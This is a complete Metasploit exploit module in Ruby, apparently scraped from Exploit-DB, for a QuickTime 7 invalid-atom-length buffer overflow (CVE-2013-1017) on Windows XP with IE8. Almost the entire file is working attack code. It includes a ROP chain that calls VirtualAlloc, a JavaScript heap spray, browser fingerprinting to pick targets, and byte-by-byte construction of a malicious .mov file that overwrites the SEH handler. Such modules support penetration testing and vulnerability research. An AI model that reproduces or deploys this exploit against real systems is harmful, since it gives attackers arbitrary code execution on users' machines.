Apple QuickTime 7 – Invalid Atom Length Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in Apple Quicktime. The flaw is triggered when Quicktime fails to properly handle the data length for certain atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer overflow by loading a specially crafted .mov file, and allows arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor 'Tom Gallagher', # Original Discovery (overlapped) 'Paul Bates', # Original Discovery (overlapped) 'sinn3r' # Metasploit ], 'References' => [ [ 'CVE', '2013-1017' ], [ 'BID', '60097' ], [ 'URL', 'http://support.apple.com/kb/HT5770' ] ], 'Platform' => 'win', 'Targets' => [ # All of the following addresses are from Quicktime.qts # RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET [ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ], [ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ], [ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ], [ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ] ], 'Payload' => { 'BadChars' => "\x00" # js_property_spray no like nilz }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, 'DisclosureDate' => "May 22 2013" )) end def get_payload(t) p = '' rop = [ 0x77c1e844, # POP EBP # RETN [msvcrt.dll] 0x77c1e844, # skip 4 bytes [msvcrt.dll] 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] 0xffffffff, 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] 0x77c3048a, # POP EDI # RETN [msvcrt.dll] 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] 0x77c46efb, # POP ESI # RETN [msvcrt.dll] 0x77c2aacc, # JMP [EAX] [msvcrt.dll] 0x77c3b860, # POP EAX # RETN [msvcrt.dll] 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] ].pack("V*") p << rop p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 p << payload.encoded p end def targetable?(agent) if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/ return true elsif agent =~ /contype/ # contype: a mov file request from Apple Quicktime return true end false end def get_html(t) js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch)) fake_mov_name = rand_text_alpha(4) + ".mov" html = %Q| <html> <head> <script> #{js_property_spray} var s = unescape("#{js_p}"); sprayHeap({shellcode:s}); </script> </head> <body> <embed src="https://www.exploit-db.com/exploits/27012/#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed> </body> </html> | html.gsub(/^\t\t/, '') end def on_request_uri(cli, request) agent = request.headers['User-Agent'] print_status("Requesting: #{request.uri}") unless targetable?(agent) print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end print_status("Target selected as: #{target.name}") if target if request.uri =~ /\.mov$/ print_status("Sending specially crafted .mov file") send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' }) else html = get_html(target) send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) end end def sort_bytes(data) data.map { |e| [e].pack('N').scan(/../).reverse.join }.join end def rop_nop(t) [t['Nop']].pack('V*') # Ret (QuickTime.qts) end def exploit buf = '' buf << rand_text_alpha(467) # 467 to align the pivot 10.times { buf << rop_nop(target) } buf << [ target['Pop'], # POP ESP; RET (QuickTime.qts) 0x20302020 # Target value for ESP (our ROP payload) ].pack('V*') buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler buf << sort_bytes([target.ret]) # ADD ESP,280; RET (QuickTime.qts) - pivot buf << rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size # Quicktime File Format Specifications: # https://developer.apple.com/standards/qtff-2001.pdf mov = "\x00\x00\x06\xDF" # File size mov << "moov" # Movie atom mov << "\x00\x00\x06\xD7" # size (1751d) mov << "rmra" # Reference Movie atom mov << "\x00\x00\x06\xCF" # size (1743d) mov << "rmda" # rmda atom mov << "\x00\x00\x06\xBF" # size (1727d) mov << "rdrf" # Data reference atom mov << "\x00\x00\x00\x00" # size set to 0 mov << "alis" # Data reference type: FS alias record mov << "\x00\x00\x06\xAA" # Size (1706d) mov << rand_text_alpha(8) mov << "\x00\x00\x06\x61" # Size (1633d) mov << rand_text_alpha(38) mov << "\x12" mov << rand_text_alpha(81) mov << "\xFF\xFF" mov << rand_text_alpha(18) mov << "\x00\x08" # Size (8d) mov << rand_text_alpha(8) mov << "\x00\x00" mov << "\x00\x08" # Size (8d) mov << rand_text_alpha(8) mov << "\x00\x00" mov << "\x00\x26" # Size (38d) mov << rand_text_alpha(38) mov << "\x00\x0F\x00\x0E" mov << "AA" # Size (must be invalid) mov << rand_text_alpha(12) mov << "\x00\x12\x00\x21" mov << rand_text_alpha(36) mov << "\x00" mov << "\x0F\x33" mov << rand_text_alpha(17) mov << "\x02\xF4" # Size (756h) mov << rand_text_alpha(756) mov << "\xFF\xFF\x00\x00\x00" mov << buf @exploit = mov super end end |